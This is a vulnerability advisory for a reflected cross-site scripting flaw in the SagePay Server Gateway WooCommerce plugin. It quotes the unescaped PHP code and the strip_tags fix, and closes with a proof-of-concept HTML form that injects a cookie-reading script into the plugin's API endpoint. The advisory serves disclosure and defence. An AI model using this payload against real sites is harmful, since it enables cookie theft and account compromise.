Vulnerability Details: Reflected Cross-Site Scripting (XSS) in SagePay Server Gateway for WooCommerce
The changelog for the latest version of the plugin SagePay Server Gateway for WooCommerce is “Updated the plugin to security vulnerability and make it more secure.” Looking at the changes made in that version we found that there was at least a reflected cross-site scripting (XSS) vulnerability fixed in that version.
The plugin registers the function successful_request() to be accessible through WooCommerce’s API:
96 | add_action( 'woocommerce_api_woocommerce_sagepayserver', array( $this, 'successful_request' ) ); |
That function will output the value of the variable $params without escaping it:
468 469 470 471 472 473 | $param_string = ""; foreach( $params as $key => $value ) { $param_string .= $key . "=" . $value . $eoln; } ob_clean(); echo $param_string; |
Earlier in the code as of the previous version if the POST input “Status” was set to “ABORT” the value of the POST input “StatusDetail” would be included in the variable $params without being escaped:
445 446 | }elseif( $_POST['Status'] == 'ABORT' ){ $params = array('Status' => 'INVALID', 'StatusDetail' => __('Transaction aborted - ', 'patsatech-woo-sagepay-server') . $_POST['StatusDetail'] ); |
In the new version that value is sanitized using striptags():
456 | $params = array('Status' => 'INVALID', 'StatusDetail' => __('Transaction aborted - ', 'patsatech-woo-sagepay-server') . strip_tags($_POST['StatusDetail']) ); |
That code should probably be better secured and there may be other security issues still remaining within that function.
Proof of Concept
The following proof of concept will cause any available cookies to be shown in an alert box,. Major web browsers other than Firefox provide XSS filtering, so this proof of concept will not work in those web browsers.
Make sure to replace “[path to WordPress]” with the location of WordPress.
<html> <body> <form action="http://[path to WordPress]/?wc-api=woocommerce_sagepayserver" method="POST"> <input type="hidden" name="VendorTxCode" value="test-test-10" /> <input type="hidden" name="StatusDetail" value='"><script>alert(document.cookie);</script>' /> <input type="hidden" name="Status" value="ABORT" /> <input type="submit" value="Submit" /> </form> </body> </html>